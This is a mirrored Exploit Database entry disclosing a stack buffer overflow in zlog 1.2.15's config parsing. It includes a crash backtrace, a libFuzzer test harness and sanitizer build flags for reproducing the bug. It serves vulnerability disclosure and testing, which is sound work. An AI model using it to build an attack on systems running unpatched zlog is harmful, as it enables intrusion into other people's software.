zlog 1.2.15 – Buffer Overflow

• Exploit Database
• 107 阅读

• 作者： LIWEI
  日期： 2021-11-08
• 类别：

  • local
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50504/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49

  # Exploit Title: zlog 1.2.15 - Buffer Overflow # Date: 10/23/2021 # Exploit Author: LIWEI # Vendor Homepage:https://github.com/HardySimpson/zlog # Software Link: https://github.com/HardySimpson/zlog # Version: v1.2.15 # Tested on: ubuntu 18.04.2 # 1.- compile the zlogv1.2.15 code to a library. # 2.- Use the "zlog_init" API to parse a file. You can do it as my testcase below. # 3.- crash. because it made a stack-buffer-overflow READ. # 4. -Also, you can get a stack-buffer-overflow WRITE when the pointer&apos;s address which overflow read is end with "0x20". # 5.- Here are the crash backtrace. #0 0x5588c3 in zlog_conf_build_with_file /src/zlog/src/conf.c:308:15 #1 0x557ad6 in zlog_conf_new /src/zlog/src/conf.c:176:7 #2 0x551183 in zlog_init_inner /src/zlog/src/zlog.c:91:18 #3 0x551008 in zlog_init /src/zlog/src/zlog.c:134:6 #4 0x550df1 in LLVMFuzzerTestOneInput /src/zlog_init_fuzzer.c:18:18   And also my testcase: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include "zlog.h"   int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { char filename[256]; sprintf(filename, "/tmp/libfuzzer.%d", getpid());   FILE *fp = fopen(filename, "wb"); if (!fp) return 0; fwrite(data, size, 1, fp); fclose(fp);   int rc = zlog_init(filename); if (rc == 0) { zlog_fini(); } unlink(filename); remove(filename); return 0; }   Put my testcase in his project and change the compile line with CC="clang" CFLAGS="-O1 -fno-omit-frame-pointer -gline-tables-only -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link" CXX="clang++" CXXFLAGS="-O1 -fno-omit-frame-pointer -gline-tables-only -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link -stdlib=libc++" Use ./configure under his project as shown in his README.txt. you will get a binary as testcase&apos;s name. run and you will reproduce it.